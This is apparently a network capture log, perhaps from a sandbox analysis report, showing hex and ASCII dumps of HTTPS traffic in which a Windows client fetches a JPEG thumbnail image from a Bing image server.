2024-12-17 11:13:16 UTC	16384	IN	Data Raw: 69 3c e1 d2 a9 a8 7e f5 22 64 50 05 85 90 1a 91 0f ad 41 11 cb 55 84 5a 00 76 c0 69 92 45 9e 94 f5 c8 eb 4a c7 14 01 55 d2 45 e9 4f 84 b9 a9 19 f3 42 03 40 0a c1 aa 19 17 7f 5a b3 51 c8 a0 b5 00 56 f2 41 fe 2a 54 41 fd ea 93 6f 6a 8b 3b 1b 8a 00 2e 03 af 5e 95 59 d4 6e c8 ab 2d 36 57 06 a2 60 0d 00 43 b6 93 06 a5 db 48 a3 14 01 1e 28 c5 49 8a 36 d0 04 78 22 9c b4 ed b4 6d a0 04 5c 1e 94 ac 94 aa 31 d2 97 34 01 1b 26 29 bb 6a 7a 36 d0 04 1b 68 db 53 6d 14 6d 14 01 0e da 5d b5 26 dc 51 b6 80 23 db 46 da 93 6d 2e 28 02 2d b4 6d a9 36 d1 b6 80 23 db 49 8a 97 6d 1b 68 02 2c 52 ed a9 36 d2 ed a0 08 b6 d2 aa d4 98 a3 14 00 cd b4 b8 a7 e3 da 8c 7b 50 03 54 52 a8 a7 62 97 1e d4 00 da 77 cd 4e a6 b0 a0 04 6a 63 28 a7 e0 d1 b6 80 22 d9 4b b6 a5 db 52 24 59 eb 40 15 Data Ascii: i<~"dPAUZviEJUEOB@ZQVA*TAoj;.^Yn-6W`CH(I6x"m\14&)jz6hSmm]&Q#Fm.(-m6#Imh,R6{PTRbwNjc("KR$Y@
2024-12-17 11:13:16 UTC	16384	IN	Data Raw: 7f ac db 86 5f bd bb dc 7b 54 09 b0 ae 1b e6 ff 00 d0 96 a7 98 a4 b2 2a c8 bb 4a ae 15 bf 8b f1 a6 2a 65 94 05 db 22 af cd bb f8 a9 69 60 11 18 c6 ae 3e f2 ff 00 77 fb d5 32 c9 85 c8 5d b2 2f 34 2c 2f bb 32 54 57 31 3c 32 2f a3 7d d6 a0 0b 76 13 46 f2 2c 66 5d a7 ff 00 1d ab 72 2a 9d a7 f8 76 ff 00 0b 73 59 70 8c c9 9d bc f5 ab 92 6f f2 d6 5e d2 a9 db fd 6a 1c 51 51 90 eb 85 48 d9 90 7d f5 fb db a9 19 11 e3 e7 f8 bf 8a 8b 72 82 6f de 7c cb c6 ef a5 5f 4b 58 65 91 84 52 6e f9 7e 5f f6 85 43 76 29 46 e6 7a c5 f2 ec ed ba 95 a1 f2 d5 b7 7f c0 6b 49 ac 24 0c af 1f cd 53 c3 1c 52 79 90 5c 2a e5 9b e6 6d df 77 de 8e 6d 03 93 53 32 c6 39 3c c5 4f bb bb 9f 99 6a c7 ef 12 65 01 da 31 fe ca d5 99 61 92 0d ce 92 f9 b1 2f 1e 62 ff 00 0f d6 a3 b6 28 2e 31 32 b4 87 6f Data Ascii: _{TJe"i`>w2]/4,/2TW1<2/}vF,f]rvsYpo^jQQH}ro\|_KXeRn~_Cv)FzkI$SRy\mwmS29<Oje1a/b(.12o
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 47 77 3c 92 48 cf 24 ac c5 98 96 66 6d dc fb 9e f5 13 36 1a 40 3f ba 36 d2 63 7f 5f 97 6d 39 76 1e 7b d7 6a 89 c6 e5 71 91 93 b6 37 f9 a9 b3 32 09 b8 6e 3a b5 0b 21 db b3 75 46 e4 f6 f9 8b 51 72 44 de 5a 3c 94 5f 5a 6a 94 ea bd 5a 89 3f d5 a8 dd bb fb aa bf c2 6a 25 e1 5b 3f 2e ea 96 49 33 19 1d b7 aa b6 37 7f 15 3e de c6 f2 ed 5b ec b6 d2 4a 23 6f 99 97 ee af d4 f4 ab 1a 56 8f 7d 7f f3 88 bc a8 97 ef 49 23 04 5f cc d6 f6 fd 0f 4d b3 8a d2 e7 5f f3 e6 89 4f ee a2 52 c8 b9 fc 83 35 72 56 c4 28 be 58 ea cd a9 51 e6 d6 5a 23 09 74 ab 48 66 51 aa 6a 71 c4 15 7f 78 b0 2e f3 1f e3 d0 9a bb 67 69 a7 bb 2b 69 7a 64 f7 5f de 9e e7 ee 75 e3 af 15 7e c6 6f 3e e9 5f 46 f0 f3 4b 33 29 1e 6d f2 87 6f aa af 41 56 ee 74 9d 55 d6 39 75 fd 5d 6c 63 93 8f 2f 77 cd c7 fb 2b Data Ascii: Gw<H$fm6@?6c_m9v{jq72n:!uFQrDZ<_ZjZ?j%[?.I37>[J#oV}I#_M_OR5rV(XQZ#tHfQjqx.gi+izd_u~o>_FK3)moAVtU9u]lc/w+
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 69 5b 8a 04 34 20 1c d2 37 a5 39 8d 27 56 f7 a0 77 42 30 c7 06 93 6e 69 ea b9 fa d4 ab 18 1d 68 1f 29 0a a9 35 2a 27 cb c7 fd f5 4a c4 2d 1c b7 27 a5 48 d0 8e 47 e1 42 a9 3d 7a d3 c4 63 ad 3d 54 77 a0 63 15 69 18 67 ad 4c d8 a6 e2 95 c0 62 a5 2b 60 52 b7 1c 54 8a 83 6e 4d 21 a5 72 3a 31 9a 7b 2e 69 f1 47 bb fd aa 68 2c 36 38 49 6f 9b e5 15 33 28 0b 8e d4 ec 62 99 2b 63 a7 fd f3 56 31 77 63 fd 9a 68 60 57 3d a9 88 a5 db 9f 98 ff 00 76 9d 8d ad 8f bc 7f d9 a5 70 24 53 b7 e9 48 ed 9f a7 fb 34 6c 27 6e 7a d0 ce 11 bf bc 7f f4 1a 57 b9 43 b2 04 6b 95 db 4e 44 2d fe c8 fe ed 11 c7 9d af 25 3e 66 da bf 27 4f ef 54 97 6d 01 d8 2f 03 fe fa fe ed 46 9e df 31 a7 c7 19 93 af cb 1d 39 15 17 bf 14 0d 26 22 28 0b bc ff 00 fb 54 92 28 f2 d8 8e b4 4d 26 78 ed 4a a3 7a af Data Ascii: i[4 79'VwB0nih)5*'J-'HGB=zc=TwcigLb+`RTnM!r:1{.iGh,68Io3(b+cV1wch`W=vp$SH4l'nzWCkND-%>f'OTm/F19&"(T(M&xJz
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 9d b5 cc 9f 2c 4d 9f dd e7 ef 46 31 d0 0a db f8 6a da c5 ed c5 e5 a7 8a 76 ac 2b c5 b3 2c 9f 2e 49 e3 03 ae 7d 6b e7 de 65 98 46 6f fd a3 5e cf 43 e8 23 97 e0 9d a3 ec d1 cc 78 87 c1 da a6 9b 1a dc c4 cb 79 6d 27 dd 68 5b e7 5f 66 4e ab 58 52 5b 5c 23 28 30 4f 1f fb d1 91 5e a9 7c fa 60 d6 2c ed 26 d4 e0 6b 9b a9 19 22 b2 f3 10 cc c1 7a 1d cb 8d b9 ff 00 6b 9a d4 b7 8f 4e 48 d4 99 25 dd bb 2d 17 99 b9 54 76 07 3f c5 5d f0 e2 7c 4d 18 a5 5a 95 df 7b d8 e1 a9 90 d2 94 9b a7 2b 2f bc f1 5c 22 70 dd 68 dd ff 00 7d 57 b4 5d 69 de 1d ba 8d 60 bb d3 e2 6f de 6f dd e5 8e a7 8e a2 a9 dc 78 1b c2 d7 12 48 5a 3d a7 fb b0 ce 46 df a7 5a ec a7 c5 98 47 fc 48 49 7e 27 24 f8 7e bf d8 9a 67 92 2f dd e6 9d 8f 6a f4 c9 be 1c e8 6f cc 17 d7 d6 cb fc 2c db 1d 57 f1 aa 57 5f Data Ascii: ,MF1jv+,.I}keFo^C#xym'h[_fNXR[\#(0O^\|`,&k"zkNH%-Tv?]\|MZ{+/\"ph}W]i`ooxHZ=FZGHI~'$~g/jo,WW_
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 0c db 7f bb 5b 45 ca d6 01 97 13 44 cd fe 8c ac b1 2f 0b fd ef c6 92 e9 62 92 18 23 b6 69 17 72 e6 55 dd fc 7e be f4 cb e8 0c 4c b1 c4 cc df de 65 6f bd 53 d8 5b 49 27 ee df 6e 79 0d fd ee 3a d5 a4 f5 d0 0a 6d 6d 8b 86 43 b9 82 ff 00 c0 6b 59 44 76 76 f1 bd b4 ad e7 6d c6 ed bf 32 e7 b5 36 e6 47 8e 35 6b 6b 65 8c 7d dd cd f7 b3 eb 9f 4a cf 69 1d e4 6f 9b 71 6f e7 49 be c0 49 7d 70 6e 23 68 93 f8 7f 85 be f3 1f 7a 86 ce c6 e6 7b 85 44 8b 76 e6 f9 77 7f 15 5c b5 b6 47 65 95 e0 69 0b 2e 15 7e f7 22 af 23 2c 36 ea f2 af ee ff 00 85 6b 36 f9 40 a3 25 a8 b6 91 52 e1 56 36 5e 37 46 bb 97 f3 aa d7 12 ce 61 68 63 da c9 bb 3b 97 ee fe 34 eb eb b4 7b a6 f9 24 65 fe 15 6f 95 57 eb eb 55 ed de 58 e4 de 3e eb 7f 0f f0 e2 9d ba 80 fb 68 7c d6 d9 23 6e 8d be f7 d6 a5 58 Data Ascii: [ED/b#irU~LeoS[I'ny:mmCkYDvvm26G5kke}JioqoII}pn#hz{Dvw\Gei.~"#,6k6@%RV6^7Fahc;4{$eoWUX>h\|#nX
2024-12-17 11:13:17 UTC	16067	IN	Data Raw: 62 b4 6e 6c 2f b5 0f f4 8f ec e6 89 a2 89 5e 48 e5 f9 9a 4e 76 ee 08 79 1f 85 5c 7f 01 dd 4e bf 69 48 3e cd b6 2d ed 24 0c 1b 77 aa ed ce 3a 56 6e 51 6b 54 5f 25 44 bc 8c bd 3e cf fb 62 e2 da d3 4f b6 58 1e 5e 1a 45 67 eb 8e 4b 7d 6b 76 4d 1a fe d2 48 e2 d2 ec e0 8e ea d5 b1 3f 9b 39 75 98 74 c6 d6 e8 09 ec 45 51 d3 f5 3f 0f 69 f6 b7 43 44 b9 b9 69 6e 54 c2 cd ff 00 2c d7 b6 36 82 3e 6f 7c f1 56 1f 56 bc bf 6f 36 09 ed 9a e2 35 d9 3a dc b6 c9 a6 e3 80 18 f3 f8 d6 55 1b 4b cc 7c d1 4b cc cc bd b2 bd 9a e9 ae 24 b3 f2 fe 6f 9a 0f 2f 6a 46 47 18 0b cf 5f 6e 2a 7b 3d 3c cc b2 7f 6a 3a d8 af f1 4f 34 68 cd fe ee 01 c8 15 17 8a 75 7d 52 08 62 8d 96 e6 c4 f1 bb a3 ee 04 71 f3 ae 6b 92 be 7b fb 89 be d0 8c b7 31 33 7d ef 3f 73 36 7a 8c 1e ff 00 5a d6 95 39 d4 8a Data Ascii: bnl/^HNvy\NiH>-$w:VnQkT_%D>bOX^EgK}kvMH?9utEQ?iCDinT,6>o\|VVo65:UK\|K$o/jFG_n*{=<j:O4hu}Rbqk{13}?s6zZ9
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: b7 ba b6 ff 00 49 52 27 5d a0 2c 80 ff 00 7b 18 ae 77 5e f1 5e 95 a5 5b b4 b1 df 49 75 74 af 85 8a 09 cb 6e f5 24 f4 c5 73 d6 7a dd d6 a9 aa 47 3d c4 5b a1 66 f9 76 b1 3b 81 fc b9 15 ad 1c 2e 27 59 a7 ca 85 cd 0b d9 33 b0 d2 a2 82 48 5a db cf 68 66 8a 26 11 aa c8 92 6e 75 3e bc 00 a7 d2 99 aa 2e b1 34 6b 24 90 6e 55 c3 33 79 7b b7 63 b1 1d 71 f4 aa 9e 1d 68 da 4b 88 92 29 e0 dc bb e4 55 c7 41 ec 47 3f 9e 6b 7b 4f d4 b5 04 58 20 8a cf cc 97 60 dd ba 3f 96 48 fb 1f 5a d2 ac e7 7e 64 6f ec ef 1d cc ab 1d 19 12 66 bf b8 89 b7 2e 42 db 2c ff 00 23 16 1c 7c 98 07 8f 4a 7b 5d cf a5 d9 b0 32 dd ac 8d fe ad e5 f9 fa f6 2b d0 57 4b 63 61 61 77 79 73 2d 97 9f e6 b7 fc b5 5b 9d ab 8f 65 6f bb 8f d6 a3 93 44 bd d3 db 6d bd f7 f6 83 49 92 b0 dc ae ed a4 ff 00 b4 7d 2b Data Ascii: IR'],{w^^[Iutn$szG=[fv;.'Y3HZhf&nu>.4k$nU3y{cqhK)UAG?k{OX `?HZ~dof.B,#\|J{]2+WKcaawys-[eoDmI}+
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 05 c5 d4 6f 1c f3 ac b0 60 ca bf 77 cc 23 b1 a8 50 8d fc cb 8c 9c 76 35 21 bf 28 ab 01 96 38 e3 f3 32 ad ce d6 fc f9 06 b4 61 99 6e 15 62 79 e4 80 ed 3e 5b 47 8d b9 fc 6b 9c ba 12 89 bc c9 22 db e6 36 56 39 57 73 37 b8 a9 34 9b b4 59 23 96 55 8d 55 58 ee 8d 98 aa 49 e9 cf 6a 97 49 d8 49 b5 b9 d6 47 29 7b 59 92 e2 e6 49 15 63 21 b7 7d e6 f5 fc 7e 95 81 a8 78 9e 1b 35 8c 69 fa 56 a9 73 b7 01 bc cb 42 b1 fd 79 19 35 6a e7 55 b3 9e 4d 96 db a0 1c 6d 5f 71 e9 57 2d 7c 41 73 67 22 95 be 69 43 2e 19 59 b9 8f de a2 31 4a fa 5f cb 62 a4 94 b6 65 0d 37 5e bd b9 9b cb 8a 26 b3 96 46 ff 00 96 b6 c5 16 34 f5 04 0e bf 5a b5 05 bd de a1 71 b6 7b cd 53 1e 6e 3f 71 39 50 de e0 8e 31 5b 97 1a 97 da 34 f9 0c 93 f9 8b 3e 36 b2 e3 72 e3 a8 3c 71 4e d0 dc 69 eb 23 59 df 2a f9 Data Ascii: o`w#Pv5!(82anby>[Gk"6V9Ws74Y#UUXIjIIG){YIc!}~x5iVsBy5jUMm_qW-\|Asg"iC.Y1J_be7^&F4Zq{Sn?q9P1[4>6r<qNi#Y*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49733	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:16 UTC	346	OUT	GET /th?id=OADD2.10239381795371_1OWBWRW5WQA079L9Q&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-17 11:13:16 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 895462 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 36A9BAE49D7249E0A3365701A052F77C Ref B: EWR30EDGE0413 Ref C: 2024-12-17T11:13:16Z Date: Tue, 17 Dec 2024 11:13:15 GMT Connection: close
2024-12-17 11:13:16 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 21 46 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 30 3a 34 38 3a 33 37 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``!FExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 10:48:378
2024-12-17 11:13:16 UTC	16384	IN	Data Raw: 5a 9b 46 5d 19 f1 07 8d 7c 35 a2 fd ae 4d 2f 48 9a ee de 0f 2e da 48 fe d3 bf 64 6f 2a 7e f3 e5 ae cf e1 0f c3 9f 12 59 69 b7 ba f6 a7 79 a4 db e9 7f 62 78 23 fb 37 ce f2 6e ff 00 f6 6b d9 bc 5d a1 e8 5f 16 26 93 44 b5 87 cb ff 00 84 66 3f b5 d9 47 2f c8 f2 23 3f ce cc d5 06 a5 e0 cf 12 f8 72 d3 c8 83 47 9a f7 4a bd 8b ec fe 5c 5f 24 3f 37 fb bf dd af 52 38 a9 cd 2a 62 71 72 d8 f9 43 c3 3e 07 d5 bf b5 a4 bb f2 bf 73 a5 6c 90 f9 72 ec f9 77 fd dd df f3 d3 fd 9a 66 ab 3c 76 93 6a de 1e 82 1f 2e 4f b6 bf ef 3f dd fe 1a fa b3 c5 5e 00 d1 62 fb 4f db 6c f5 0b 88 24 b6 f3 23 8e db e4 ff 00 48 5f 95 59 1b ee b5 78 7f c5 af 85 30 69 32 db 6b de 1a bc d4 35 1f 2f f7 f7 3f 6e 87 67 fb df 37 f1 35 7a 34 ea 4e 4b de 0b 1e 45 e2 88 a4 7b a8 e1 fb 24 91 f9 5f b8 8f 67 Data Ascii: ZF]\|5M/H.Hdo~Yiybx#7nk]_&Df?G/#?rGJ\_$?7R8bqrC>slrwf<vj.O?^bOl$#H_Yx0i2k5/?ng75z4NKE{$_g
2024-12-17 11:13:16 UTC	16384	IN	Data Raw: f6 88 1f 33 7f b3 58 d4 c5 53 a7 a5 ee fc 89 94 e2 8f 0f f8 7f f0 fb c5 5e 32 b6 b8 ba d0 ec b7 db da 1d 92 cf 24 9b 14 1f ee e6 b6 34 1f 86 ba 8d 8d d5 b5 ef 89 84 36 f6 be 7b 8f b3 79 9b a5 9b 67 5f bb d0 7b d7 a3 7c 48 f1 17 86 3c 1b a3 5c e9 9e 0e d3 a6 d3 ed 4c 7e 5c 91 99 bf e3 e1 9b f8 ff 00 bf 5e 7f 1f 8b f4 9d 4e ee 3f b6 c3 34 70 47 6c 96 fe 5f fe 84 d4 53 9d 4a 8b 9e d6 4f 61 c5 b7 a9 af 6b e2 2d 0b c4 1f 14 b4 d8 6e ac fe c5 63 6d fb b9 24 8a 6f ee ff 00 e3 ab 8e d5 f4 25 8f 88 f5 69 ad 24 d1 3c 21 67 a8 5b c7 1c 7f 67 8f ec df e9 3f 64 46 ff 00 a6 8f fe 7d eb c3 3c 03 f0 92 ff 00 c7 1e 1e be f1 3e 91 77 f6 24 f9 e3 8f f7 3f 26 d5 fe e7 f7 53 fd aa fa 13 e0 ef c2 db 4d 0b 49 b6 93 4e d7 b5 09 27 8e c9 fe db 6d 73 bf ec df 37 fb 5e f5 e7 e3 3d Data Ascii: 3XS^2$46{yg_{\|H<\L~\^N?4pGl_SJOak-ncm$o%i$<!g[g?dF}<>w$?&SMIN'ms7^=
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: bd 5e e7 f0 92 d2 fe 2d 0e 4d 45 34 d9 a4 8e 38 fc b9 23 97 fd 74 9b bf 8e 36 5f eb 5c b5 e3 ee 6a 4b 3a 8f 17 6a f1 c5 e5 e9 da 8d e7 da 23 92 4f b3 f9 71 7d f8 e2 ff 00 77 fb cb 4f 92 7d 16 e3 50 b1 7f 3a 1b 7d 4b ec cf 6f e5 cb f2 3c 9f f3 cf e6 fe 1a b9 6b 73 77 7b 69 1e 9d 7b 0d a7 99 6f 1f 99 1f 9b 16 ff 00 f7 6b 06 fb 4a ff 00 89 4c 77 49 67 0d bb f9 9f 67 ff 00 4e fe ff 00 f7 55 ba d7 97 37 d0 11 d5 78 2e e7 ec fe 26 8d ee b4 db 4f ed 5d 3b 65 c5 b7 da 76 7f f6 41 eb a8 9f e2 27 87 a2 bb b9 83 c5 77 9f d9 d2 6a 3f bc 8e 3b 19 51 21 f3 77 fd dd bf 77 61 fe f0 af 32 91 a4 b4 f1 65 b5 aa 4d 35 be a5 fe b3 cb ff 00 96 31 a5 4f e3 8b 6b 4b dd 26 37 d4 6c fe d1 3c 9f e9 1f 66 8a 1d 93 7c bf dd db fc 55 c7 5a 0a a3 e4 93 d0 a5 27 16 7b 74 fa d7 86 b5 8d Data Ascii: ^-ME48#t6_\jK:j#Oq}wO}P:}Ko<ksw{i{okJLwIggNU7x.&O];evA'wj?;Q!wwa2eM51OkK&7l<f\|UZ'{t
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: ea de 1f bb b9 d4 6e bf d1 e7 fb 6a 79 72 45 69 ff 00 2e ff 00 f4 db b7 de a8 bc a3 ee 12 75 b7 1a d4 9f 6b b1 df 37 99 63 7b b2 38 ef 62 89 d2 1d ed f7 3e 5e 7a 55 3f 8c d6 d6 16 b7 71 ea f3 eb 10 c7 1c 71 a4 97 3e 6c 5f b9 bb f9 36 6d f4 dc 7b 56 47 80 f5 3b fd 4f 49 be 77 9a 19 34 3b db 6f 2f cc 92 54 ff 00 44 ba 6f b9 b1 7f 93 54 be 23 d3 3c 51 ff 00 0a cb 52 f0 9e af af 43 71 fd a3 ff 00 2d 25 d9 fb c4 5f b9 f2 a7 fb b5 bd 2a 90 83 b4 dd 80 97 c1 da e7 86 b4 ff 00 09 dc cf 75 ac 5d d9 49 1d cf ee ef 74 d8 93 7d bc 5f f3 cf 6b fd ff 00 f6 eb 52 4b 6f 0b dd c3 73 fd 83 35 a7 97 a7 47 f6 7d 4a ca e6 5f df 79 51 6c 91 d5 df f8 1b ee 73 5e 69 a6 f8 73 5d d3 2e e4 4d 12 cf fb 6b 4a 92 3f b4 7d 9a fa 2d e9 bf fe 5a bc 6b fd e1 fe d5 61 f8 7f c1 3a 97 8a f5 Data Ascii: njyrEi.uk7c{8b>^zU?qq>l_6m{VG;OIw4;o/TDoT#<QRCq-%_*u]It}_kRKos5G}J_yQls^is].MkJ?}-Zka:
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 6a 33 5e 4b fe 8f ff 00 2c ab 02 69 5e 6b 7d 93 4b fe af a7 ee eb a3 d2 db 54 9b 4b 93 4e b8 d4 6d 74 fb 48 e4 f3 24 7b 83 8f fb e1 7a b5 31 97 4e 6f b3 e2 cf f7 9e 52 66 4b 99 7f d6 37 fb 31 d6 87 74 26 d2 30 24 86 d9 6c 4b 98 ae 92 62 7e 4c c7 f2 1a b3 a0 dd d9 43 35 bf da 04 df bb 93 3f bb ad 9d 4e 1d 37 54 9b fd 2b 58 bb b3 48 c2 7f ac 8b ce 87 ff 00 1c c6 df ca b0 75 8d 35 ac ae 24 48 ee ed af 21 8c ec 17 16 f2 65 0d 06 d1 69 a2 bd f3 a7 f6 ac 93 27 fa bf 32 ae f8 7b c8 6d 5b ed 33 c3 e6 47 f3 c9 e5 f9 bb 2b 2a 35 ae 9b c3 be 19 d4 ae 7c a4 b5 bb 11 bd e0 ff 00 c7 6a 65 25 15 76 12 69 23 53 4f bb f0 dd b5 ac 7a 92 69 12 cb 1c f2 f9 72 47 e7 7e f6 b3 75 1d 3b 47 4b a9 6e a0 9b cb 82 df fe 5d e4 9b e7 dd fe cf d2 b7 b4 7f 87 5e 2c 8b 56 8f ec b6 42 f3 Data Ascii: j3^K,i^k}KTKNmtH${z1NoRfK71t&0$lKb~LC5?N7T+XHu5$H!ei'2{m[3G+*5\|je%vi#SOzirG~u;GKn]^,VB
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 86 bc 39 0d f6 9d a7 4d 77 a8 df 59 48 92 7f 69 7d 93 67 99 b9 37 37 de f9 7e 55 fe 1a 8e 4f 14 5a 69 f3 47 3d ee a5 f6 7f 0e 6a 37 33 47 6d 24 5f f1 f9 71 17 f1 b7 96 bb be 57 ff 00 26 a4 f0 05 8f 95 ab 5f 5d 59 7f 67 db e9 b2 46 f6 97 32 4b 2f fa 4c 72 af de 64 df ba 36 ac 9f 17 78 26 d3 47 f1 bc 7f d9 7a 96 9f a8 e8 f1 dc f9 96 5a 6d 8d db cc f2 24 9f 33 7f 0f cb fe e6 ea cd 35 72 42 4f 1e ea 56 5f 10 ad b4 bf 08 4d 0e ab 6b aa c6 92 47 6d f3 dc fc 9f c2 aa 9f df 4f ef 57 61 aa dc ea 5a 3f ee 34 4b 39 a3 fb 3d 94 d7 77 31 cb 17 9c 96 f2 fd f5 d8 ad fc 4d f7 ba 7c 95 e0 9a 56 af 7f ac 6a d1 da da c3 a4 d9 4f a7 48 f3 fd a7 e4 b6 b9 8e 28 df e7 f9 ff 00 f4 1f e2 af 4b d5 7e 26 f8 96 f6 d2 ca cb c3 53 6a 12 4f e6 7e f2 3b 6f 9e 6b b4 df b7 74 9b be fb 05 Data Ascii: 9MwYHi}g77~UOZiG=j73Gm$_qW&_]YgF2K/Lrd6x&GzZm$35rBOV_MkGmOWaZ?4K9=w1M\|VjOH(K~&SjO~;okt
2024-12-17 11:13:17 UTC	16067	IN	Data Raw: 63 32 e5 75 52 2e cd 19 4b 56 4c b6 7e 36 d1 fe 36 e8 9a 67 8c 6d 26 bd 92 ce 4f dd dc 5b 4b e4 fd be 05 fb b2 f9 9d 37 fc 9f 75 ea bf ed 0b a5 58 69 9e 37 b6 9e f7 5e bb 92 c7 51 8d ee fe cd 1d a6 c9 b6 37 f7 7f ad 75 96 bf 10 74 6f 10 69 3f 65 d5 3c 2b 35 c7 f6 35 ca 7f a4 c5 fe 8d 34 72 c8 ff 00 2b fc bf 25 70 9f 1d bc 6f 21 f1 0d 97 85 2e a7 1a ae 9b 14 69 e6 c7 1f ee 7e f3 bf c9 2f f7 5d 29 60 e7 5e 58 84 9c 6d a6 a5 53 93 4f 43 83 d4 62 b1 7d 42 3b 5b 1d 76 6f 2f cc 78 3c df b5 6c 4f ef ef aa 1a 8b 5b ff 00 c2 4b 67 6b 04 3f 6c b5 fb 91 c7 6d 17 fa c6 fe f7 fb 75 36 8f ad 36 9f 7d 7b 1d cc b1 c7 a7 c9 bf fd 1f ca ff 00 96 aa 9e 5a b5 62 df 6a 09 3d d4 77 36 c3 cb be f3 5e 4f 32 3f e3 dd 5e f2 89 a1 d8 47 2c 16 fe 20 8f cf d5 fe da f6 52 43 1f d9 a5 Data Ascii: c2uR.KVL~66gm&O[K7uXi7^Q7utoi?e<+554r+%po!.i~/])`^XmSOCb}B;[vo/x<lO[Kgk?lmu66}{Zbj=w6^O2?^G, RC
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 6b fe cf f7 ab 97 30 ad 47 0c dd 3f b4 57 29 06 87 e1 5d 6a f7 c1 d7 c9 e2 4f 26 f6 fa e3 7f da 7f 7b e7 24 6f ff 00 4c 7f c7 6d 73 89 e2 8d 5a d3 43 92 0b df 3b 51 92 4f dd fd b6 db 4f 7f dd f9 7f 75 be 6f 9a bd 0e 7f 32 ca 18 d2 ca f2 68 fc bf f5 9e 6f fc b3 da 9f ed 57 1f e2 af 1b 69 b7 13 5b 69 10 79 da 8d f5 97 ef 3c df 29 fc 9b 77 ff 00 be 7e 6d d5 e4 4b 12 ab 75 34 89 e4 3e 2a f1 34 17 5e 26 f0 dd d6 bd e2 af 32 eb 4a b9 9a 7f 2f ca f2 5f ed 0a 9f b9 7f e2 db 5d e5 f7 8a b5 6b 8f 86 77 da 85 ee bd e5 fd a2 e5 23 fb 6d f6 c7 b7 f9 be f7 f0 6d af 39 db a4 ea 1f 1a 23 bd ba 9b fb 2a 7b 7b 6f 32 4f dd 7e fa 49 59 fe ee dd 85 53 fe f8 ae f3 43 8f c2 1a af 87 ff 00 e2 67 0d a5 e7 97 23 f9 56 5a 94 5e 4f 9f fe ec 7b 55 2b b7 19 08 43 d9 5d 36 95 bf 52 8f Data Ascii: k0G?W)]jO&{$oLmsZC;QOOuo2hoWi[iy<)w~mKu4>4^&2J/_]kw#mm9#{{o2O~IYSCg#VZ^O{U+C]6R
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: d7 c3 70 c9 63 25 ea 7f a4 db 4b b1 3e e7 f1 7d d6 4a bb e1 f8 34 9b 2f 1b df 43 a8 e9 b7 72 68 7a ae f8 ec a4 92 2f dc c7 2c 9f c3 bf fe 5a 2a 7b d7 9b 2c 53 86 b1 93 d0 0e 47 c3 3e 05 93 58 d3 fe db a5 de 45 25 f4 71 fe f2 da db e7 9b cd fb bf 3f ca 36 56 65 f7 c2 4d 6a 5f 10 47 75 aa 6a 5a 87 97 1c 89 6f e6 45 ff 00 7c fd e4 5a f5 cd 61 3f b1 ee e4 ba d2 3e c9 e6 5b db 24 72 5c c5 69 0d b7 cf f7 3f ed a7 cb d2 a0 f1 04 f2 5c 69 f1 ce 93 7f c7 c4 9f e9 b6 d2 dd a2 7f c0 d3 76 df be bf c3 b6 b0 58 bc 44 b5 8b d0 a7 36 73 3f 0d be 1a 6b 56 ff 00 6e d3 9e 6f ed 1d 3a f6 4f dd f9 b1 23 ff 00 df 7b fe 5d d5 a5 e2 7d 2a 4b 28 63 83 fb 07 4f 8e 08 e4 f2 e4 b2 8a ed ff 00 77 fc 3f 22 36 ef d3 e5 ac ff 00 18 ea 7a b5 c6 a1 1e 96 97 97 76 53 c9 1a 49 65 2c bb 21 Data Ascii: pc%K>}J4/Crhz/,Z{,SG>XE%q?6VeMj_GujZoE\|Za?>[$r\i?\ivXD6s?kVno:O#{]}K(cOw?"6zvSIe,!

